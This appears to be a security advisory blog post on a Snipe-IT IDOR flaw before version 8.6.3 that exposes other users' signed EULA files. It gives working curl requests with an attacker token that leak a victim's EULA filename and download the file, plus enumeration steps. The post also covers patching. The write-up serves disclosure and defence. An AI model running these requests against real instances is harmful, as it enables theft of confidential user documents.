Listen to this Post
Snipe-IT is an open-source IT asset/license management system. Prior to version 8.6.3, the application exposed a critical vulnerability that combined information disclosure with Insecure Direct Object Reference (IDOR), allowing an attacker to completely bypass the file-name randomization security and download confidential, signed EULA files belonging to any other user across the application.
The vulnerability exists due to inconsistent authorization enforcement across different application routes. The primary route `/stored-eula-file/{filename}` correctly denies access to unauthorized users. However, the application exposes two additional endpoints that handle EULA file access: the API endpoint `/api/v1/users/{target_id}/eulas` and the profile route /account/stored-eula-file/{filename}. These are governed by `app/Http/Controllers/Api/UsersController.php` and app/Http/Controllers/ProfileController.php, respectively.
The attack chain begins when a restricted, authenticated user sends a GET request to /api/v1/users/{target_id}/eulas, where `target_id` belongs to any other user in the system. Due to missing ownership and target-user authorization checks in the API controller, the endpoint responds by leaking the randomized filename of the target user’s signed EULA file (e.g., eula-xxx.pdf). This constitutes the information disclosure phase of the attack.
With the leaked filename in hand, the attacker then attempts to download the file. Accessing the main route `GET /stored-eula-file/{filename}` correctly returns a `403 Forbidden` error, as this route performs proper authorization checks. However, the attacker can then access the same file via the vulnerable profile route: GET /account/stored-eula-file/{filename}. This route, located in ProfileController.php, lacks the necessary ownership verification, allowing the attacker to successfully download the target user’s confidential EULA file with a `200 OK` response.
This flaw effectively neutralizes the security provided by file-name randomization and multi-tenant isolation, as an attacker can enumerate user IDs and exfiltrate sensitive, legally binding documents. The issue is classified under CWE-639: Authorization Bypass Through User-Controlled Key and is fixed in version 8.6.3.
DailyCVE Form:
Platform: Snipe-IT
Version: <8.6.3
Vulnerability: IDOR + Info Disclosure
Severity: High (CVSS 7.1)
date: 2026-08-19
Prediction: 2026-08-26 (patch available)
What Undercode Say:
Information Disclosure: Leak target's randomized EULA filename
curl -X GET "https://target-snipe-instance.com/api/v1/users/{target_id}/eulas" \
-H "Authorization: Bearer {attacker_api_token}"
Expected response leaks the filename, e.g.:
{"status":"success","messages":[],"payload":"eula-7f3a9c2b.pdf"}
Direct download attempt (blocked - returns 403 Forbidden)
curl -X GET "https://target-snipe-instance.com/stored-eula-file/eula-7f3a9c2b.pdf" \
-H "Authorization: Bearer {attacker_api_token}"
Vulnerable profile route download (bypass - returns 200 OK)
curl -X GET "https://target-snipe-instance.com/account/stored-eula-file/eula-7f3a9c2b.pdf" \
-H "Authorization: Bearer {attacker_api_token}" \
--output victim_eula.pdf
How Exploit: (Educational Purposes!)
- Enumerate valid user IDs within the application (e.g., via `/api/v1/users` or by guessing sequential IDs).
- For a target ID, send a GET request to `/api/v1/users/{target_id}/eulas` with a valid restricted user’s API token to obtain the randomized EULA filename.
- Use the leaked filename to send a GET request to
/account/stored-eula-file/{filename}, bypassing the authorization enforced on the primary route. - The server returns the target’s signed EULA file, enabling full exfiltration of confidential legal documents.
Protection:
- Upgrade to Snipe-IT version 8.6.3 or later, which contains the patch at commit
grokability/snipe-it@f15d786. - If immediate upgrade is not possible, manually apply the patch to `app/Http/Controllers/ProfileController.php` and `app/Http/Controllers/Api/UsersController.php` to enforce consistent ownership and target-user authorization checks before serving EULA files.
- Implement strict input validation and authorization middleware on all routes handling user-specific resources.
- Conduct regular security audits and penetration testing to identify and remediate similar authorization bypass vulnerabilities.
Impact:
An attacker can completely bypass file-name randomization security and without authorization download confidential, signed EULA files belonging to any other user across the application. This leads to unauthorized disclosure of sensitive legal agreements, violation of data confidentiality, and potential legal and compliance repercussions for the organization. The CVSS v4.0 base score is 7.1 (High), with a vector of CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
